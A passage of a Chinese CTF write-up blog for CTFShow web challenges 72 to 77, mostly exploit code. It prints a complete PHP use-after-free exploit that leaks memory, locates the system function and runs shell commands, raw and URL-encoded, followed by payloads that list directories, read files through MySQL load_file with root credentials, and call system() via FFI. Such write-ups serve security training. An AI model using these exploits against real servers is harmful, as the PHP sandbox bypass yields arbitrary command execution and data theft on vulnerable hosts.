$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>

  最终获取的payload:

c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A

web73#

  同web71,使用

  ​c=var_export(scandir("/"));die();

  找到flag位置

  再使用

  ​c=include("/flagc.txt");exit();

  直接获取即可

web74#

  ban掉了scandir

  可以使用glob​函数

  payload:c=var_export(glob("/*"));exit();

  获取flag位置后

  ​c=include("/flagx.txt");exit();

web75#

  payload:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  使用glob伪协议获取flag位置,再通过数据库查看flag(雾):

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

  ‍

web76#

  与上题一样,使用glob伪协议获取flag位置:

  payload:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  再通过数据库查看flag:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

  ‍

web77#

  FFI,php7.4以上才有https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html

  可以使用上题的方法发现flag位置:

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

  发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。

  通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi->system($a); //执行命令

  ​c=$ffi = FFI::cdef("int system(const char *command);");

  payload:

  ​c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a); exit();

  之后再使用c=readgzfile("1.txt");exit;​拿到flag

  ‍

CTFShow_WEB
https://blog.lacrimosa.me/posts/ctfshow_web/
作者
Lacrimosa
发布于
2025-06-19
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00